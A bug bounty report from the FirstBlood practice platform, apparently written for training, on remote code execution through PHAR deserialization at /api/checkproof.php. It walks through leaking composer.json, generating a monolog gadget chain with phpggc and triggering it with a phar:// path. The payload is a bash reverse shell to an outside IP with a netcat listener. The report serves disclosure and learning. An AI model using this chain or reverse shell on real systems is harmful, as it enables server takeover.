FirstBlood-#562RCE via PHAR deserialization on /api/checkproof.php
This issue was discovered on FirstBlood v2.0.0 (issues patched)



On 2021-10-26, 0x1452 Level 3 reported:

Hey!

Summary

I found a PHAR deserialization issue on the /api/checkproof.php endpoint. After uploading your proof of vaccination on /vaccination-manager/pub/upload-vaccination-proof.php the site will make a POST request to /vaccination-manager/pub/submit-vaccination-proof.php. The response contains the following code:

<script>
    $(document).ready(function () {
        fetch('/api/checkproof.php?proof=/app/firstblood/upload/16bf9e2ddf0bc8fd64084efe61aaeb4d8d176001.jpg')
                .then(response => response.json())
                .then(function (data) {
                    $('#checking-proof').addClass('d-none');

                    if (data == true)
                    {
                        $('#proof-thanks').removeClass('d-none');
                        $('#proof-header').text('Vaccination proof uploaded');
                    }
                    else
                    {
                        $('#proof-error').removeClass('d-none');
                        $('#proof-header').text('Error uploading vaccination proof');
                    }
                });
    })
</script>

As far as I can tell, the site makes a request to /api/checkproof.php?proof=:file_path which checks whether the file at :file_path exists. This could potentially be implemented by using the file_exists function. However, passing arbitrary user input into functions that work on files can lead to deserialization vulnerabilities by abusing the phar:// stream wrapper.

What is PHAR?

This article contains a brief explanation of Phar archives and how they can be exploited. A short summary:

  • Most PHP functions that work on files accept the phar:// stream wrapper
  • Phar archives are similar to Java's JAR files, allowing you to bundle PHP code files and resources into a single archive file
  • Phar archives can contain PHP objects as metadata
  • If a phar file is passed to a function like file_exists via the phar:// wrapper, the metadata will be deserialized!
  • A JPG/PHAR polyglot can be uploaded via common image upload features and will be a valid PHAR archive independent of its file extension

How to exploit this

To exploit this an attacker needs three things:

  • A way to upload a valid PHAR archive to the server -> /vaccination-manager/pub/upload-vaccination-proof.php
  • A way to pass arbitrary user input to a function that handles files -> /api/checkproof.php?proof=:path
  • Knowledge of the server's source code
    • Either direct access to the source code -> find vulnerable classes that could cause code execution when being deserialized
    • Or an info leak containing the used framework + version numbers -> tools like phpggc can generate malicious PHAR files with existing gadget chains for certain frameworks

Finding the third part took me a while but it was as simple as fuzzing for some common files. Eventually I found the /composer.json endpoint with the following content:

{
    "require": {
        "monolog/monolog": "2.1.1"
    }
}

EDIT: Another endpoint that leaks a large amount of information about installed PHP packages is /vendor/composer/installed.json.

Now that we have all the required parts, we can start working on the exploit. To generate the malicious PHAR archive I used a tool called phpggc. Use the following command to find all gadget chains for monolog:

[email protected]:/mnt/d/Infosec/BBH/FB2/phar$ phpggc -l monolog

Gadget Chains
-------------

NAME            VERSION                            TYPE                   VECTOR        I
Monolog/RCE1    1.4.1 <= 1.6.0 1.17.2 <= 2.2.0+    RCE (Function call)    __destruct
Monolog/RCE2    1.4.1 <= 2.2.0+                    RCE (Function call)    __destruct
Monolog/RCE3    1.1.0 <= 1.10.0                    RCE (Function call)    __destruct
Monolog/RCE4    ? <= 2.4.4+                        RCE (Command)          __destruct    *
Monolog/RCE5    1.25 <= 2.2.0+                     RCE (Function call)    __destruct
Monolog/RCE6    1.10.0 <= 2.2.0+                   RCE (Function call)    __destruct
Monolog/RCE7    1.10.0 <= 2.2.0+                   RCE (Function call)    __destruct    *

Based on the version revealed in composer.json all of the chains besides RCE3 could potentially work for us. The one that eventually worked for me was RCE4.

To generate a JPG/PHAR polyglot use the following command:

[email protected]:/mnt/d/Infosec/BBH/FB2/phar$ phpggc Monolog/RCE4 'bash -i >& /dev/tcp/159.223.18.143/41328 0>&1' -pj yep.jpg > output/Monolog-RCE4-revshell.jpg

This payload expects a nc listener on my VPS on port 41328:

octavian28:leaky-paths:% nc -lvnp 41328
Listening on 0.0.0.0 41328
...

Now we just need to upload the generated archive on /vaccination-manager/pub/upload-vaccination-proof.php. When looking at your HTTP history in a tool like Burp you will notice a request to /api/checkproof.php?proof=/app/firstblood/upload/<hash>.jpg. Repeat this request but replace the value of proof with phar:///app/firstblood/upload/<hash>.jpg.

The PHAR/JPG polyglot I just uploaded will now get deserialized on the server and I get a shell on my VPS:

The shell will get closed after a few minutes, but it can be reopened by repeating the request to /api/checkproof.php. There is probably a way to persist the shell but I haven't looked into it yet.

The attacker now has full access to the server as the fb-exec user. Misconfigurations on the server might allow the attacker to elevate their privileges, leading to a full takeover of the server.

Steps to reproduce

  1. Generate a malicious PHAR archive using phpggc that targets monolog 2.1.1 (e.g. Monolog/RCE4)
    1. Command: phpggc Monolog/RCE4 'bash -i >& /dev/tcp/159.223.18.143/41328 0>&1' -pj yep.jpg > output/Monolog-RCE4-revshell.jpg
  2. Start a nc listener on the attacker's server (nc -lvnp 41328 in this case)
  3. Upload the archive at /vaccination-manager/pub/upload-vaccination-proof.php
  4. Notice the request to /api/checkproof.php
  5. Repeat the previous request but add the phar:// prefix to the proof value
    1. i.e. ?proof=phar:///app/firstblood/upload/<hash>.jpg

Impact

The attacker can execute arbitrary commands on your server. This also allows them to get a shell, potentially leading to a full takeover of your server if they can escalate their privileges.

Remediation

  • Avoid letting users pass arbitrary user input into functions that handle files
  • Add sanitization to user input -> don't allow the user to pass any valid variation of phar:// to vulnerable functions

I'm not sure if it's possible to fully deactivate deserializing PHAR archives per default but if you can figure out a way I'd recommend doing that.

P1 CRITICAL

Endpoint: /api/checkproof.php

Parameter: proof

Payload: phar:///<path to uploaded PHAR/JPG polyglot>


FirstBlood ID: 34
Vulnerability Type: Deserialization

This endpoint calls filesize() on the path provided in the 'proof' param with no filtering or sanitisation. By adding the phar:// stream handler to the path, an attacker can force a previously uploaded file to be sent through deserialisation. Coupled with the fact that a gadget-chain vulnerable version of monolog is being used, this allows for RCE.

Report Feedback

@zseano

Creator & Administrator


Nice find 0x1452! Great work. It is possible to escalate your privileges, feel free to play around! ;)